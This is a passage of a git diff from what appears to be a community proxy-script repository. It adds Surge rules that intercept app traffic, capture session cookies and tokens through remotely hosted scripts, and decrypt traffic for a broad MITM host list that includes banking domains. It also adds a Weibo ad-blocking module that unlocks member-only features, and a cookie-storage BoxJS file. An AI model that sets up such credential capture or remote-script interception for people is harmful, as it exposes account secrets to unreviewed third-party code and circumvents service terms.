pattern=https://gaea.meituan.com/mapi/usercenter, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60 + +# hostname = +美团外卖 = type=http-request, pattern=^https:\/\/promotion.waimai.meituan.com\/playcenter\/signIn\/entry, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.cookie.js, timeout=60 + +美团外卖 = type=http-request, pattern=^https:\/\/promotion.waimai.meituan.com\/playcenter\/signIn\/doaction, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wmmeituan/wmmeituan.cookie.js, requires-body=true, timeout=60 + +# hostname = +慢慢买-获取cookie = type=http-request, pattern=^https?:\/\/apph5\.manmanbuy\.com\/taolijin\/(login.aspx|logserver.aspx), script-path=https://raw.githubusercontent.com/blackmatrix7/ios_rule_script/master/script/manmanbuy/manmanbuy_checkin.js, requires-body=true, timeout=60 + +# hostname = +芒果TV = type=http-request, pattern=^https:\/\/credits.bz.mgtv.com\/user\/creditsTake, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mgtv/mgtv.cookie.js, timeout=60 + +# hostname = +米游社 = type=http-request, pattern=^https:\/\/api-takumi.mihoyo.com\/apihub\/api\/getGameList, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/mihoyo/mihoyo.cookie.js, timeout=60 + +# hostname = +猫咪音乐网 = type=http-request, pattern=https:\/\/www.maomicd.com\/plugin.php\?id=k_misign:sign&operation=qiandao, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/maomicd/maomicd.cookie.js, timeout=60 + +# hostname = +nga.cookie = type=http-request, pattern=^https:\/\/ngabbs.com\/nuke.php\??, script-path=https://raw.githubusercontent.com/chouchoui/QuanX/master/Scripts/nga/nga.cookie.js, requires-body=true, timeout=60 + +# hostname = +拼多多果园 = type=http-request, pattern=https://m.pinduoduo.net/proxy/api/api/server/_stm, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/pinduoduo/pdd_getToken.js, timeout=60 + +# hostname = +朴朴签到cookie = type=http-request, pattern=https:\/\/cauth.pupuapi.com\/clientauth\/user\/verify_login, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/pupu/pupuCheckIn.js, timeout=60 + +# hostname = +QQ-VipCheckIn = type=http-request, pattern=https:\/\/proxy.vac.qq.com\/cgi-bin\/srfentry.fcgi?, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/QQVip/qqVipCheckIn.js, timeout=60 + +# hostname = +QQ萌宠cookie = type=http-response, pattern=https:\/\/qqpet.jwetech.com\/api\/authorizations, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/QQPet/lkQQPet.js, requires-body=true, timeout=60 + +# hostname = +汽车之家极速版 = type=http-request, pattern=^https:\/\/mobile\.app\.autohome\.com\.cn\/fasthome\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/qczjSign.js, requires-body=true, timeout=60 + +qczjSign = type=http-request, pattern=^http:\/\/mobile\.app\.autohome\.com\.cn\/fasthome\/coin\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/qczjSign.js, requires-body=true, timeout=60 + +# hostname = +去哪儿.cookie = type=http-request, pattern=^https:\/\/user.qunar.com\/webapi\/member\/signIndexV2.htm, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qunar/qunar.cookie.js, timeout=60 + +# hostname = +全民K歌.cookie = type=http-request, pattern=^https://node\.kg\.qq\.com/webapp/proxy?, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/qmkg/qmkg.cookie.js, requires-body=true, timeout=60 + +# hostname = mobile-consumer-sapp.chery.cn +奇瑞汽车App获取多账号token = type=http-response, pattern=^https:\/\/mobile-consumer-sapp\.chery\.cn\/web\/user\/current\/details\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60 + +# hostname = +人人视频.cookie = type=http-request, pattern=^https:\/\/api\.rr\.tv\/user\/profile, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/rrtv/rrtv.cookie.js, timeout=60 + +# hostname = +什么值得买 = type=http-request, pattern=^https:\/\/user-api\.smzdm\.com\/users\/info, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60 + +# tips = 打开小程序或APP-我的-积分, 捉以下几种url之一,把整个url放到变量 sfsyUrl 里,多账号换行分割 +顺丰速运顺丰速运 = type=http-request, pattern=^https:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/share\/weChat\/shareGiftReceiveRedirect, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60 + +顺丰速运 = type=http-request, pattern=^https:\/\/mcs-mimp-web\.sf-express\.com\/mcs-mimp\/share\/app\/shareRedirect, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60 + +# hostname = +水滴筹 = type=http-request, pattern=^https:\/\/api\.sdbao\.com\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/sdcbxscSign.js, requires-body=true, timeout=60 + +# hostname = +水晶DJ = type=http-request, pattern=^http:\/\/app\.oscaches\.com\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/sjdjSign.js, requires-body=true, timeout=60 + +# hostname = +时光相册.cookie = type=http-request, pattern=^https:\/\/api.everphoto.cn\/users\/self\/checkin\/v2, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/everphoto/everphoto.cookie.js, timeout=60 + +# hostname = +苏宁易购.cookie = type=http-request, pattern=^https:\/\/passport.suning.com\/ids\/login$, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, requires-body=true, timeout=60 + +苏宁易购.cookie = type=http-request, pattern=^https:\/\/luckman.suning.com\/luck-web\/sign\/api\/clock_sign.do, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, timeout=60 + +苏宁易购.cookie = type=http-request, pattern=^https:\/\/sign.suning.com\/sign-web\/m\/promotion\/sign\/doSign.do, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, timeout=60 + +苏宁易购.cookie = type=http-request, pattern=^https:\/\/gameapi.suning.com\/sngame-web\/(api\/signin\/private\/customerSignOperation.do|gateway\/api\/queryPrize.do), script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/suning/suning.cookie.js, timeout=60 + +# hostname = +太好购 = type=http-request, pattern=^https:\/\/cxdng\.cpic\.com\.cn\/taieshop\/api\/CustomerFansInfo\/GetFansInfo, script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/thg.cookie.js, timeout=60 + +# hostname = +天天挖矿 = type=http-request, pattern=^https:\/\/operation-api\.jimistore\.com\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/ttwbxcxSign.js, requires-body=true, timeout=60 + +# hostname = +腾讯视频.cookie = type=http-request, pattern=^https:\/\/access.video.qq.com\/user\/auth_refresh, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/videoqq/videoqq.cookie.js, timeout=60 + +# hostname = +v2ex.cookie = type=http-request, pattern=^https:\/\/www\.v2ex\.com\/mission\/daily, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/v2ex/quanx/v2ex.cookie.js, timeout=60 + +# hostname = +wps.cookie = type=http-request, pattern=^https:\/\/zt.wps.cn\/2018\/docer_check_in\/api\/act_list, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wps/wps.cookie.js, timeout=60 + +# hostname = +微博-获取cookie = type=http-request, pattern=^https:\/\/m?api\.weibo\.c(n|om)\/\d\/users\/show, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, timeout=60 + +微博-获取cookie = type=http-request, pattern=^https:\/\/api\.weibo\.cn\/\d\/users\/show, script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/weibo_sign.js, timeout=60 + +微博-获取cookie = type=http-request, pattern=^https:\/\/api\.weibo\.cn\/2\/logservice\/attach, script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/weibo_sign.js, timeout=60 + +微博-获取cookie = type=http-request, pattern=https:\/\/weibo\.com\/p\/aj\/general\/button\?ajwvr=6&api=http:\/\/i\.huati\.weibo\.com\/aj\/super\/checkin, script-path=https://raw.githubusercontent.com/lowking/Scripts/master/weibo/weiboSTCookie.js, timeout=60 + +# hostname = +吾爱破解cookie = type=http-request, pattern=https:\/\/www\.52pojie\.cn\/home\.php\?, script-path=https://raw.githubusercontent.com/NobyDa/Script/master/52pojie-DailyBonus/52pojie.js, timeout=60 + +# hostname = +网易云音乐.cookie = type=http-request, pattern=^https:\/\/music.163.com\/weapi\/user\/level, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/neteasemusic/quanx/neteasemusic.cookie.js, requires-body=true, timeout=60 + +# hostname = +网易新闻.cookie = type=http-request, pattern=^https:\/\/(.*?)c\.m\.163\.com\/uc\/api\/sign\/v3\/commit, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/neteasenews/neteasenews.cookie.js, requires-body=true, timeout=60 + +# hostname = +网易考拉.cookie = type=http-request, pattern=^https:\/\/m-bean\.kaola\.com/m/point/sign\.html, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/wykl/wykl.cookie.js, requires-body=true, timeout=60 + +# hostname = +微商星球 = type=http-request, pattern=^https:\/\/api\.momosyb\.com\/(v6|v1)\/(fans|user)\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/wsxqSign.js, requires-body=true, timeout=60 + +# hostname = +蔚来.cookie = type=http-request, pattern=^https:\/\/app\.nio\.com\/api\/1\/app\/daily_checkin, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/nio/nio.cookie.js, timeout=60 + +# hostname = +携程 = type=http-request, pattern=^https:\/\/m\.ctrip\.com\/restapi\/soa2\/14946\/json\/userBaseInfo, script-path=https://raw.githubusercontent.com/barrym-chen/Script/master/ctrip/ctrip_cookie.js, timeout=60 + +# hostname = +喜马拉雅.cookie = type=http-request, pattern=^https?:\/\/.*\/mobile\-user\/(v1\/)?homePage\/.*, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/ximalaya/ximalaya.cookie.js, timeout=60 + +# hostname = xxyx-client-api.xiaoxiaoyouxuan.com +晓晓优选 = type=http-response, pattern=^https:\/\/xxyx-client-api\.xiaoxiaoyouxuan\.com\/my, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/cookie/get_cookie.js, requires-body=true, timeout=60 + +# hostname = +伊利.cookie = type=http-request, pattern=https:\/\/club\.yili\.com\/MALLIFChe\/MCSWSIAPI\.asmx\/Call, script-path=https://raw.githubusercontent.com/id77/QuantumultX/master/task/yiLi.cookie.js, requires-body=true, timeout=60 + +# hostname = e.dlife.cn, e.189.cn, wapside.189.cn +中国电信@FoKit = type=http-request, pattern=^https:\/\/(e\.189\.cn\/store\/user|open\.e\.189\.cn\/api\/logbox\/oauth2\/loginSubmit\.do), script-path=https://raw.githubusercontent.com/FoKit/Scripts/main/scripts/get_10000_cookie.js, timeout=60 + +电信营业厅@chavyleung = type=http-request, pattern=^https:\/\/wapside\.189\.cn:9001\/api\/home\/sign, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10000/10000.cookie.js, requires-body=true, timeout=60 + +电信登录地址@dompling = type=http-request, pattern=^https:\/\/e\.dlife\.cn\/user\/loginMiddle, script-path=https://raw.githubusercontent.com/dompling/Script/master/10000/index.js + +# hostname = act.10010.com, m.client.10010.com +中国联通.cookie = type=http-request, pattern=^https:\/\/act.10010.com\/SigninApp\/signin\/querySigninActivity.htm, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js, timeout=60 + +中国联通.cookie = type=http-request, pattern=^https:\/\/act.10010.com\/SigninApp(.*?)\/signin\/daySign, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js, timeout=60 + +中国联通.cookie = type=http-request, pattern=^https:\/\/m.client.10010.com\/dailylottery\/static\/(textdl\/userLogin|active\/findActivityInfo), script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/10010/10010.cookie.js, timeout=60 + +# 打开中国联通app --> 首页的流量查询获取Cookie +中国联通.cookie@dompling = type=http-request, pattern=^https?:\/\/m\.client\.10010\.com\/serviceimportantbusiness\/smart\/smartwisdomCommonNew, script-path=https://raw.githubusercontent.com/dompling/Script/master/10010/index.js, timeout=60 + +# hostname = +追书畅读版 = type=http-request, pattern=^https:\/\/.+zhuishushenqi\.com\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/zscdbSign.js, requires-body=true, timeout=60 + +# hostname = +知音漫客 = type=http-request, pattern=^https:\/\/getconfig-globalapi\.zymk\.cn\/app_api\/*, script-path=https://raw.githubusercontent.com/XidNDD/2020scripts/master/zymkSign.js, requires-body=true, timeout=60 + +# hostname = +字幕组.cookie = type=http-request, pattern=^https?:\/\/(www\.)?rrys2020\.com\/?.?, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.cookie.js, timeout=60 + +字幕组.cookie = type=http-request, pattern=^http:\/\/ios.zmzapi.com\/index.php.*a=(mobile_)?login, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zimuzu/zimuzu.cookie.js, timeout=60 + +# hostname = +智行火车.cookie = type=http-request, pattern=^https:\/\/m\.ctrip\.com/restapi/soa2/14593/json/attendanceDay?, script-path=https://raw.githubusercontent.com/chavyleung/scripts/master/zxhc/zxhc.cookie.js, requires-body=true, timeout=60 + +[MITM] +hostname = %APPEND% www.flyert.com.cn, mobile-consumer-sapp.chery.cn, xxyx-client-api.xiaoxiaoyouxuan.com, yunbusiness.ccb.com, home.m.jd.com, un.m.jd.com, sec.m.jd.com, api.m.jd.com, ms.jr.jd.com, jdread-api.jd.com, me-api.jd.com, wq.jd.com, daojia.jd.com, testflight.apple.com, farm.api.ddxq.mobi, user-api.smzdm.com, luka-graphql.ling.cn, fmapp.chinafamilymart.com.cn, apph5.manmanbuy.com, www.hifini.com, cauth.pupuapi.com, qqpet.jwetech.com, rewards.bing.com, auth.alipan.com, auth.aliyundrive.com, draw.jdfcloud.com, api.momosyb.com, passport.iqiyi.com, account.huami.com, api.dongqiudi.com, act.10010.com, wox2019.woxshare.com, www.52pojie.cn, api.prize.qq.com, eventv3.reader.qq.com, api.tuhu.cn, gameapi.hellobike.com, xiaoshuo.qm989.com, passport.biligame.com, cxdng.cpic.com.cn, teacherapi.zmlearn.com, luckman.suning.com, api.dushu.io, api.xiaoheihe.cn, api.inews.qq.com, zt.wps.cn, m.client.10010.com, m.ctrp.com, activity.m.duiba.com.cn, as.xiaojukeji.com, www.maomicd.com, h5.youzan.com, node.kg.qq.com, manga.bilibili.com, ios.baertt.com, www.mydigit.cn, proxy.vac.qq.com, wx-mini.pagoda.com.cn, m.weibo.cn, *.acfun.cn, *.rrys2019.com, *.bilibili.com, club.yili.com, marketappapi.biyao.com, commontgw6.reader.qq.com, *.ctrp.com, *.csdn.net, www.duokan.com, ngabbs.com, note.youdao.com, h5.bianlifeng.com, kd.youth.cn, activity-1.m.duiba.com.cn, cloud.umetrip.com, hongbao.youzikuaibao.com, air.tb.ele.me, *.xmcimg.com, m.ctrip.com, user.qunar.com, mcs-mimp-web.sf-express.com, tb.ele.me, dominos0724.shjimang.com, h5.ele.me, my.ruanmei.com, promotion.waimai.meituan.com, www.2xtj7.cn, mall.oclean.com, apk.tw, user-api-prd-mx.wandafilm.com, *.youth.cn, wq.02gk.com, iphone.myzaker.com, apiwz.midukanshu.com, api.1sapp.com, nebula.kuaishou.com, api.weibo.cn, yuba.douyu.com, *.ximalaya.com, *.zhuishushenqi.com, sf-integral-sign-in.weixinjia.net, epassport.diditaxi.com.cn, *.m.163.com, e.dlife.cn, open.e.189.cn, e.189.cn, wapside.189.cn, api.kkmh.com, *.rr.tv, gameapi.suning.com, *.you.163.com, app.oscaches.com, exp.angelalign.com, getconfig-globalapi.zymk.cn, mall.meituan.com, game.xiaojukeji.com, api.infzm.com, *.v2ex.com, *.rrys2020.com, pay.sc.weibo.com, app.nio.com, music.163.com, studygolang.com, kandian.wkandian.com, ifac*.iqiyi.com, ug-fission.kuaishou.com, passport.suning.com, tncj.hortorgames.com, credits.bz.mgtv.com, c.tieba.baidu.com, api.sdbao.com, 113.96.156.178, wxavip-up.ezrpro.cn, *.video.qq.com, j1.pupuapi.com, tieba.baidu.com, wx.17u.cn, www.baimaa.com, frodo.douban.com, m-bean.kaola.com, 110.43.90.61, newsapi.sina.cn, i.meituan.com, wxprdapplet.gac-nio.com, icbc1.wlphp.com:8444, ios-fenqu11.lxsjgo.com, sapi.beingfine.cn, *.feng.com, www.hnmiaosu.cc, clientaccess.10086.cn, mobile.app.autohome.com.cn, ph0001.hezyq.com, api.everphoto.cn, api-takumi.mihoyo.com, sports.lifesense.com, superapp.kiwa-tech.com, api.weather.com, sign.suning.com, m.elong.com, webapi.qmai.cn, mwegame.qq.com, activity.m.kuaishou.com, mobwsa.ximalaya.com, proapi.115.com, youhui.95516.com, www.xiaodouzhuan.cn, *.smzdm.com, app.ymatou.com, operation-api.jimistore.com, www.flyertea.com, api.cashtoutiao.com, choujiang-server.deering.cn, maicai.api.ddxq.mobi, minigame.zijieapi.com, appsmall.rtmap.com, m.gdoil.cn, weibo.com, ios.zmzapi.com diff --git a/Surge/module/weibo.module b/Surge/module/weibo.module new file mode 100644 index 00000000..f570c8cc --- /dev/null +++ b/Surge/module/weibo.module @@ -0,0 +1,130 @@ +#!name=微博去广告&净化 +#!desc=去除常见的广告和部分多余的模块 +#!author=奶思[https://github.com/fmz200] +#!icon=https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/Weibo-00.png +#!category=奶思的模块 +#!homepage=https://github.com/fmz200/wool_scripts +#!raw-url=https://github.com/fmz200/wool_scripts/raw/main/Surge/module/weibo.module +#!tg-group=https://t.me/lanjieguanggao +#!tag=去广告, 微博, fmz200 +#!system=ios +#!date=2025-05-20 19:20:00 + +[Rule] +# 收集用户信息,上传用户日志的请求 +URL-REGEX,"^https?:\/\/api\.weibo\.cn\/2\/(push\/active|client\/addlog_batch|ad\/preload)",REJECT-DROP +URL-REGEX,"^https?:\/\/api-cloudim\.api\.weibo\.com\/v1\/log\/",REJECT-DROP +# 微博开屏广告 +DOMAIN-SUFFIX,biz.weibo.com,REJECT +DOMAIN,bootpreload.uve.weibo.com,REJECT +# 其他广告 +DOMAIN-SUFFIX,fastimage.uve.weibo.com,REJECT +DOMAIN-SUFFIX,adimg.vue.weibo.com,REJECT +DOMAIN-SUFFIX,zymo.mps.weibo.com,REJECT +DOMAIN-SUFFIX,weibomingzi.com,REJECT +DOMAIN-SUFFIX,sdkapp.uve.weibo.com,REJECT +DOMAIN-SUFFIX,promote.biz.weibo.cn,REJECT +DOMAIN-SUFFIX,gw5.push.mcp.weibo.cn,REJECT +DOMAIN-SUFFIX,gw6.push.mcp.weibo.cn,REJECT +DOMAIN-SUFFIX,game.weibo.cn,REJECT +DOMAIN-SUFFIX,adimg.uve.weibo.com,REJECT +DOMAIN-SUFFIX,game.weibo.com,REJECT +DOMAIN-SUFFIX,ads.viber.com,REJECT +DOMAIN-SUFFIX,ads-d.viber.com,REJECT +DOMAIN-SUFFIX,ads.aws.viber.com,REJECT +DOMAIN-SUFFIX,alitui.weibo.com,REJECT +DOMAIN-SUFFIX,dp.im.weibo.cn,REJECT +DOMAIN-SUFFIX,biz.weibo.com.cn,REJECT +DOMAIN-SUFFIX,click.uve.weibo.com,REJECT +DOMAIN-SUFFIX,wax.weibo.com,REJECT +DOMAIN-SUFFIX,wbapp.uve.weibo.com,REJECT +DOMAIN-SUFFIX,widget.weibo.com,REJECT +DOMAIN-SUFFIX,dsp.edm.weibo.cn,REJECT +DOMAIN-SUFFIX,alitui.weibo.com.cn,REJECT +DOMAIN-SUFFIX,tui.weibo.com,REJECT +DOMAIN-SUFFIX,wax.weibo.com.cn,REJECT +DOMAIN-SUFFIX,ad.weibo.com,REJECT +# 屏蔽信息收集 +DOMAIN,datacollection.uve.weibo.com,REJECT +DOMAIN,adpinpai.video.weibocdn.com,REJECT + +[URL Rewrite] +^https?:\/\/sdkapp\.uve\.weibo\.com\/interface\/sdk\/(get-lbs-cell-info\.php|sdkconfig\.php) - reject +^https:\/\/api\.weibo\.cn\/2\/logservice\/service\? - reject + +[Map Local] +# 热门视频 | 热推荐 +^https?:\/\/api\.weibo\.c(n|om)\/\d\/(cardlist\?v_f=\d|ad\/weibointl\?) data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/weibointl\.api\.weibo\.c(n|om)\/portal\.php\?a=hot_search_users data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 私信中绿洲的擦边诱导推广 +^https?:\/\/weibointl\.api\.weibo\.c(n|om)\/portal\.php\?a=treehole&auth= data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 屏蔽首页左上角每日的弹窗tips +^https?:\/\/m?api\.weibo\.c(n|om)\/\d/push\/daily data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 超话按钮的提示 +^https?:\/\/api\.weibo\.c(n|om)\/2\/!\/huati\/(discovery_home_bottom_getdotinfo|mobile_discovery_searchchange)\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 开屏广告 +^https?:\/\/bootrealtime\.uve\.weibo\.com\/v\d\/ad\/realtime data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https?:\/\/bootpreload\.uve\.weibo\.com\/v\d\/ad\/preload data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 微博长文章推广 +^https:\/\/card\.weibo\.com\/article\/m\/aj\/(reward|uvead)\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/weibo\.com\/ttarticle\/x\/m\/aj\/(reward|uvead)\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +# 微博 +^https:\/\/api\.weibo\.cn\/2\/!\/huati\/discovery_home_bottom_channels data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.weibo\.cn\/2\/!\/chaohua\/discovery\/home_bottom\/switch data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +^https:\/\/api\.weibo\.cn\/2\/!\/was\/finder\/searchbarchange\? data-type=text data="{}" status-code=200 header="Content-Type:application/json" + +[Script] +# 微博移除发现页广告 +微博移除发现页广告 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/search\/(finder|container_timeline|container_discover)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博热搜页面广告 +微博热搜页面广告 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/(page|flowpage)\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博话题页面广告 +微博话题页面广告 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/searchall\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博超话页面广告 +微博超话页面广告 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_timeline_topicpage\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博超话tab页净化 +微博超话tab页净化 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/container_timeline_topic\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博详情页面广告 +微博详情页面广告 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/statuses\/extend\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博最顶部的tab页分组 +微博最顶部的tab页分组 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/groups\/allgroups\/v2, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博评论区广告 +微博评论区广告 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/comments\/mix_comments\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_ads.js, requires-body=true, timeout=60 + +# 微博转发评论区广告 +微博转发评论区广告 = type=http-response, pattern=^https:\/\/api\.weibo\.cn\/2\/statuses\/repost_timeline\?, script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_main.js, requires-body=true, timeout=60 + +# 微博去广告以及去除各部分推广模块 - cherish +微博去广告以及去除各部分推广模块 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)/2/(cardlist|searchall|page|messageflow|statuses/(unread_)?friends(/|_)timeline|groups/timeline|statuses/(container_timeline|container_timeline_hot|unread_hot_timeline|extend|video_mixtimeline)|profile/(me|container_timeline)|video/(community_tab|remind_info|tiny_stream_video_list)|checkin/show|\!/live/media_homelist|comments/build_comments|container/get_item), script-path=https://raw.githubusercontent.com/fmz200/wool_scripts/main/Scripts/weibo/weibo_main.js, requires-body=true, timeout=60 + +微博去广告以及去除各部分推广模块 = type=http-response, pattern=^https?:\/\/(sdk|wb)app\.uve\.weibo\.com(/interface/sdk/sdkad.php|/wbapplua/wbpullad.lua), script-path=https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_launch.js, requires-body=true, timeout=60 + +# 自定义tab皮肤 +自定义tab皮肤 = type=http-response, pattern=^https?:\/\/m?api\.weibo\.c(n|om)\/2\/!\/client\/light_skin, script-path=https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_main.js, requires-body=true, timeout=60 + +# 非会员设置tab皮肤 - cherish +非会员设置tab皮肤 = type=http-response, pattern=^https?:\/\/new\.vip\.weibo\.c(n|om)\/littleskin\/preview, script-path=https://raw.githubusercontent.com/zmqcherish/proxy-script/main/weibo_main.js, requires-body=true, timeout=60 + +# 解锁微博会员APP图标 +解锁微博会员APP图标 = type=http-response, pattern=^https?:\/\/new\.vip\.weibo\.c(n|om)\/aj\/appicon\/list, script-path=https://github.com/fmz200/wool_scripts/raw/main/Scripts/weibo/weibo_vip.js, requires-body=true, timeout=60 + +[MITM] +hostname = %APPEND% *.weibo.cn, *.weibo.com, weibo.com diff --git a/Surge/readme.md b/Surge/readme.md new file mode 100644 index 00000000..21f200f4 --- /dev/null +++ b/Surge/readme.md @@ -0,0 +1 @@ +## 你可以借助转换工具 [Script-Hub:重写 & 规则集转换](https://github.com/Script-Hub-Org/Script-Hub) 将本仓库中的配置转换到Surge中 \ No newline at end of file diff --git a/boxjs/fmz200_boxjs.json b/boxjs/fmz200_boxjs.json new file mode 100644 index 00000000..9237b4f7 --- /dev/null +++ b/boxjs/fmz200_boxjs.json @@ -0,0 +1,1021 @@ +{ + "id": "fmz200.sub", + "name": "fmz200のBoxJS订阅", + "author": "@fmz200", + "icon": "https://avatars.githubusercontent.com/u/57740735?s=60&v=4", + "repo": "https://github.com/fmz200/wool_scripts", + "desc": "订阅大多都支持多账号,协定数据格式如下:有主键的用JSON,没有主键的拼接用#分割用@。\n例如{\"uid1\": \"token1\", \"uid2\": \"token2\",\"uid3\": \"token3\"}和uid1#token1@uid2#token2@uid3#token3", + "date": "更新日期:2025-05-27 22:00:00", + "apps": [ + { + "id": "fmz200_xiaohongshu", + "name": "小红书功能增强", + "keys": [ + "fmz200.xiaohongshu.imageQuality", + "fmz200.xiaohongshu.feed.rsp", + "redBookVideoFeed", + "redBookVideoFeedUnlock" + ], + "descs_html": [ + "可选图片质量,保存无水印图片和视频" + ], + "settings": [ + { + "id": "fmz200.xiaohongshu.imageQuality", + "name": "小红书无水印图片保存质量", + "val": "highPixels", + "type": "selects", + "items": [ + { + "key": "original", + "label": "原始分辨率 (图片占用空间大)" + }, + { + "key": "highPixels", + "label": "高像素输出 (图片占用空间小)" + }, + { + "key": "highQuality", + "label": "高质量压缩" + }, + { + "key": "medium", + "label": "平衡配置" + } + ], + "desc": "图片质量可选:原始分辨率PNG,高像素输出HEIF,高质量压缩,平衡配置" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/xiaohongshu.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/chxm1023/xiaohongshu.png" + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts" + }, + { + "id": "fmz200_aliyun", + "name": "阿里云盘cookie", + "keys": [ + "aliyun_data" + ], + "descs_html": [ + "填写cookie,多账号用英文逗号(@)分开" + ], + "settings": [ + { + "id": "aliyun_data", + "name": "阿里云盘cookie", + "val": "", + "type": "textarea", + "autoGrow": true, + "rows": 8, + "desc": "阿里云盘cookie" + } + ], + "icons": [ + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AliYunDrive.png", + "https://raw.githubusercontent.com/fmz200/wool_scripts/main/icons/apps/AliYunDrive.png" + ], + "author": "@fmz200", + "repo": "https://github.com/fmz200/wool_scripts" + }, + { + "id": "fmz200_smzdm", + "name": "什么值得买cookie", + "keys": [ + "SMZDM_COOKIE", + "fmz200_smzdm_cookie" + ], + "descs_html": [ + "填写cookie,有两种不同的存储方式" + ], + "settings": [ + { + 